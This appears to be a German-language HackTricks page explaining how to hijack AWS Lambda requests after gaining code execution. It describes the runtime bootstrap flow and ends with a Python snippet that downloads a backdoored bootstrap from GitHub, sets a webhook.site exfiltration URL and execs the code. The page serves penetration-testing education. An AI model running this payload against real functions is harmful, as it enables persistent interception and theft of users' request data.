AWS - Steal Lambda Requests

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Lambda-Fluss

  1. Slicer ist ein Prozess außerhalb des Containers, der Aufrufe an den init-Prozess sendet.

  2. Der init-Prozess hört auf Port 9001 und stellt einige interessante Endpunkte bereit:

  • /2018-06-01/runtime/invocation/next – erhält das nächste Aufrufereignis

  • /2018-06-01/runtime/invocation/{invoke-id}/response – gibt die Handler-Antwort für den Aufruf zurück

  • /2018-06-01/runtime/invocation/{invoke-id}/error – gibt einen Ausführungsfehler zurück

  1. bootstrap.py hat eine Schleife, die Aufrufe vom init-Prozess abruft und den Benutzercode aufruft, um sie zu verarbeiten (/next).

  2. Schließlich sendet bootstrap.py die Antwort an init.

Beachten Sie, dass Bootstrap den Benutzercode als Modul lädt, sodass alle Codeausführungen, die vom Benutzercode durchgeführt werden, tatsächlich in diesem Prozess stattfinden.

Lambda-Anfragen stehlen

Das Ziel dieses Angriffs ist es, den Benutzercode dazu zu bringen, einen bösartigen bootstrap.py-Prozess innerhalb des bootstrap.py-Prozesses auszuführen, der die verwundbare Anfrage verarbeitet. Auf diese Weise wird der bösartige Bootstrap-Prozess beginnen, mit dem init-Prozess zu kommunizieren, um die Anfragen zu verarbeiten, während der legitime Bootstrap gefangen ist und den bösartigen ausführt, sodass er keine Anfragen an den init-Prozess stellt.

Dies ist eine einfache Aufgabe, da der Code des Benutzers vom legitimen bootstrap.py-Prozess ausgeführt wird. Der Angreifer könnte also:

  • Eine gefälschte Ergebnis des aktuellen Aufrufs an den init-Prozess senden, damit init denkt, dass der Bootstrap-Prozess auf weitere Aufrufe wartet.

  • Eine Anfrage muss an /${invoke-id}/response gesendet werden.

  • Die invoke-id kann aus dem Stack des legitimen bootstrap.py-Prozesses mithilfe des inspect-Python-Moduls (wie hier vorgeschlagen) oder einfach erneut an /2018-06-01/runtime/invocation/next angefordert werden (wie hier vorgeschlagen).

  • Führen Sie einen bösartigen bootstrap.py aus, der die nächsten Aufrufe verarbeitet.

  • Zu Stealth-Zwecken können die Lambda-Aufrufparameter an ein vom Angreifer kontrolliertes C2 gesendet und dann die Anfragen wie gewohnt verarbeitet werden.

  • Für diesen Angriff reicht es aus, den Originalcode von bootstrap.py aus dem System oder von GitHub zu erhalten, den bösartigen Code hinzuzufügen und ihn aus dem aktuellen Lambda-Aufruf auszuführen.

Angriffsschritte

  1. Finden Sie eine RCE-Verwundbarkeit.

  2. Führen Sie den bösartigen Bootstrap aus.

Diese Aktionen können Sie problemlos ausführen, indem Sie:

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

Für weitere Informationen siehe https://github.com/carlospolop/lambda_bootstrap_switcher

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated